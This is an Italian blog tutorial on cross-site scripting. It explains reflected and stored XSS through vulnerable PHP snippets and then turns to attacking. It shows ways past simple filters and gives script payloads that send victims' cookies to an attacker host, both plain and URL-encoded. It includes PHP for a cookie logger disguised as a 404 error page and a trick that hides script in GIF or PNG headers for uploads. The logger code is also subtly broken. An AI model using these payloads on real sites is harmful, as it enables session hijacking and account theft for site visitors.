Cross Site Scripting XSS (ita)

Cross Site Scripting XSS (ita)

By Cyber-italian il 28 Feb. 2014

0 Comments 128 Views
.

Vi sono vari modi per attaccare un sito web. Ve ne elenco alcuni:
-XSS, abbreviazione di cross-site scripting
-SQL Injection, iniezione di comandi SQL all'interno di un sito
-Blind Sql Injection, definiamolo come un SQL Injection alla cieca
-RFI, ovvero Remote File Inclusion
-LFI, Local File Inclusion
-DoS, abbreviazione di Denial of Service
-Ddos, Distributed Denial of Service
-Format string attacks

Cos’è un XSS:
A differenza di sql injection ed altri attacchi alle web application a questo attacco sono vulnerabili siti dinamici e non. L’attacco può essere portato a compimento su qualsiasi sito che presenti l’utilizzo di JavaScript, VBScript, ActiveX, HTML e Flash. Per chi non conosce queste linguaggi , basti pensare che si tratta di linguaggi e applicazioni che vengono eseguiti direttamente dal vostro web browser (internet explorer, netscape, Mozilla Firefox, ecc.) E’ quindi una vulnerabilità che affligge i siti web con scarso controllo delle variabili. L'XSS permette di inserire codice al livello browser (spesso codice javascript, ma anche php, html, ecc) al fine di modificare il codice sorgente della pagina web. E’ quindi possibile d’attuazione, quando un sito web prende in input dati su cui effettua delle operazioni (come per esempio il motore di ricerca interno del sito). Queste informazioni vengono inviate al sito solitamente tramite URL. Questi dati, in siti non protetti, vengono visualizzati così come sono stati inseriti dagli utenti. In questo modo chiunque potrà entrare in possesso di dati sensibili, come ad esempio i cookies.
Per fare ciò ci basterà indirizzare la nostra vittima all’interno di una pagina web con le variabili modificate a dovere.
Una cosa molto importante da dire è che esistono due tipi di xss:

Stored: nelle quali un attaccante è in grado di modificare permanentemente il contenuto di una pagina web, ad esempio inserendo un commento opportunamente preparato ad un post in un blog.
Reflected: grazie alle quali è possibile produrre un URL che utilizzato sul sito vulnerabile altererà il contenuto delle pagine in modo non permanente ed esclusivamente per le richieste HTTP che utilizzano tali URL appositamente forgiati.
Questa vulnerabilità è dovuta a errori dei programmatori, che molto spesso trascurano completamente la validazione delle informazioni passate in input con le richieste HTTP.

Le XSS sfruttano il funzionamento di paramentri dichiarati malamente:
Prendiamo per esempio questo tipo di pagina in php:

<? / la variabile in esame è c
$var = $_GET ['c'];
echo $var;
?>

Dicevo appunto che 'c' è una variabile che viene impostata e stampata nella pagina.
A livello url se andiamo a dare il valore 'hola' a questa variabile allora otteremo:
www.sito.it/p rova.php?c=hola

Nella pagina troveremo scritto quindi il testo: hola
Da ciò si intuisce che qualunque valore noi diamo a c, questo sarà stampato nella pagina.. e finchè si tratta di parole e numeri è tutto a posto direi.. Ma se inserissimo invece del codice javascript maligno? Pensate un po’ a cosa accadrebbe..
Quando un utente malintenzionato esegue il proprio codice sul browser, il codice sarà eseguito nel security-context (o zona) relativo all’hosting del sito web. Con questo livello di privilegio, il codice ha la capacità di leggere, modificare e trasmettere eventuali dati sensibili accessibili dal browser.

Un utente vulnerabile a XSS potrebbe trovarsi il suo conto rubato (furto di cookie), il suo browser potrebbe essere reindirizzato altrove o eventualmente avere una frode dei propri dati attraverso il sito web che sta visitando. Essenzialmente,un attacco XSS compromette la “fiducia” tra un utente ed il sito web in questione.

Esistono due tipi di attacchi Cross-site Scripting: attacchi persistenti ed attacchi non persistenti.

Gli attacchi non persistenti richiedono che un utente visiti un link appositamente modificato con codice malizioso. Appena il link sarà visitato,il codice malizioso verrà eseguito all’interno del browser dell’utente. Gli attacchi persistenti invece hanno il codice maligno all’interno di pagine web che vengono hostate online per un periodo di tempo. Esempi di target preferiti da utenti maliziosi sono messaggi web mail, web chat, in una board ecc.L’utente che è ignaro di tutto non deve necessariamente cliccare su qualche link specifico ma basta semplicemente visitare la pagina web contentene il codice maligno.

Struttura XSS:
Direi che adesso una cosa vi è certa: bisogna avere delle conoscenze basilari su html, JS ecc per sfruttare questo tipo di attacco.

Un attacco tipico, di base, e conosciuto da tutti è la stringa:

<script>alert(“XSS”)</script>
Analizziamolo:

<script>: codice di apertura javascript con all'interno i vari comandi;

alert: fa comparire un messaggio di alert (per chi non lo sapesse è una semplice tabella)

(“XSS”): è la stringa che verrà visualizzata all’interno dell’alert, non deve essere per forza testo, ma anche numeri ( in questo caso non è necessario l’uso delle “ ”)

</script>: codice di chiusura javascript

Adesso analizziamo questa stringa:

<script>alert(document.cookie)</script>

<script> codice di apertura javascript con all'interno i vari comandi;

alert fa comparire un messaggio di alert

(document.cookie) al posto di mostrare una stringa di testo mostrerà un alert con visualizzati i tuoi cookie.
I filtri:
I web master adottano difese molto semplici da superare a volte, altre più complicate, e qui arriva il bello perché scatta l’immaginazione di ognuno di noi per far apparire quel così tanto desiderato alert!
Queste difese sono definite “filtri”, ovvero codici che vietano l’uso di particolari caratteri. Per qualcuno meno esperto potrebbe essere considerato il tutto risolto, ma non è così! Prendiamo per esempio questo filtro:

<?
$var = $_GET ['c'];
$var = str_replace ("<script>", "script", $var);
echo $var;
?>

Questo bloccherà l’uso di <script> e </script>, ma non dobbiamo per forza usare queste.
Esistono vari tipi di filtri, uno dei quali è il filtro Addslashes, che inserirà prima di ogni apice uno slah (ovvero questo “/”) così rendendo inutile il nostro codice. Questa è la struttura del filtro:

<?
function addslashes ($var){
$var = str_replace ('"', '\"', $var);
$var = str_replace ("'", "\'", $var);
return $var;
}
?>

Che inserito in una pagina php diverrebbe:

<?
$var = $_GET ['var'];
$var = addslashes ($var);
echo $var;
?>

Ora vi chiederete. Questo come lo superiamo dato che non possiamo inserire nessun apice? Semplice un metodo sarebbe quello di convertire il nostro codice in ASCII.
Potete trovare una tabella ASCII qui: www.codici.info/ascii/ascii.php
Un ottimo sito per altre fantastiche ed ingegnose XSS è: www.ha.ckers.org/xss.html
Adesso abbiamo visto una serie di comandi, tutti innocui a prima vista, ma pensate se al posto dell’alert indirizziamo la pagina web ad un cookie grabber? Tra poco chiariremo anche cosa sia un cookie, come si applica e cos’è la tecnica del cookie grabbing. Continuiamo…
Attacchi persistenti:
Molti siti web ospitano al loro interno bacheche, tagboard, e molto altro in cui è possibile lasciare uno o più messaggi. Un utente registrato di solito viene identificato con un ID di sessione cookie, così da poter lasciare un messaggio ed essere identificato. Se noi inserissimo come messaggio del codice javascript maligno, per esempio, potremmo riuscire a compromettere anche i cookie di chi leggerà il messaggio.
Ciò è possibile nel caso in cui il sito/forum sia vulnerabile ad XSS e inserendo il comando come messaggio visibile a tutti:

<script> document.location= ‘http://attackerhost.example/cgi- bin/cookiesteal.cgi?’+document.cookie </script>

Questo di cui abbiamo appena parlato è un tipico esempio di attacco persistente..
Attacchi non persistenti:
Alcuni siti invece offrono unavista personalizzabile del web, ad esempio, nel caso in cui effettuiamo il login di un sito, e riceviamo un messaggio di benvenuto è possibile visualizzare alcuni dati nell’URL, visibili quindi a tutti. Nell’URL potreste leggere una cosa simile a questa:
http://sito.esempio/index.php?sessionid=12345678& username=vostronome
se un utente malintenzionato modificasse l’URL a dovere, inserendo codice JS capace di rubare i cookie, potrebbe prendere il controllo di un account, ovviamende mascherando il codice così:

http://sito.esempio/index.php?sessionid=12345678& username= %3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E
Cookie Grabbing:
Tecnica del cookie grabbing.. cos’è e come si applica?
Questa tecnica è applicabile in siti vulnerabili al cross site scripting.. Questa vulnerabilità, permettendo l'esecuzione arbitraria di codice javascript sulla applicazione web, permette anche l'esecuzione di script maligni atti al grabbing (prelevare) i cookie dal sito stesso...
Esempio di codice Javascript maligno potrebbe essere:
<script language="JavaScript"> window.location="http://www.sitomio.net/logs.php?cooked="+document.cookie </script>
Che nell’url diverrebbe:

http://www.sitovulnerabile.net?Keywords=%3...%3C%2Fscript%3E
Cosa accade? Noi leggiamo www.sitovulnerabile.net ovvero il sito vulnerabile alle XSS, keywords è la variabile vulnerabile e www.sitomio.net è dove finiranno i cookie grabbati, esattamente nel file logs.php che creeremo noi:

<html>
<head>
<title>404 Not Found</title>
</head>
<body>
Not Found

<?php
$capo = "
<span style="color: #000000;"> ";
$_GET['data'] = $data; //prende ciò che sta dopo "data" nell'url e lo mette nella variabile "data"
$fh = fopen("cookies.txt",'a+'); //setta in "fh" le condizioni per aprire il file cookies.txt
fwrite($fh, "$data"); //apre il file cookies.txt o lo crea se non esiste e ci scrive la variabile "data"
fwrite($fh, "$capo");//va a capo
fclose($fh); //chiude il file
?>
The requested URL was not found on this server.

</body>
</html>

Come potete notare, tutti processi sono nascosti, e all’apertura della pagina visualizzeremo semplicemente "The requested URL was not found on this server" , fingendo un errore 404, e nel file cookie.txt verranno salvati tutti i cookies delle vittime.

Upload XSS:
Ecco un altro bel trucchetto per sfruttare le XSS

Apriamo una immagine .gif con il nostro caro blocco note e cancelliamo tutto quello che vi è all’interno e sostituiamolo per esempio con questo:

GIF89a<script>alert(“XSS”)</script>

Chiudete, salvate il file e caricatela, apparirà il vostro alert!

Ecco qui cosa inserire prima dello script per far si che l’immagine resti nella sua estensione:

-PNG = ‰PNG
-GIF = GIF89a
-JPG = ÿØÿà JFIF
-BMP = BMFÖ

Share

.

2 user(s) online

Last comments

Tags

Statistics

Calendar

Cross Site Scripting XSS (ita)

Not Found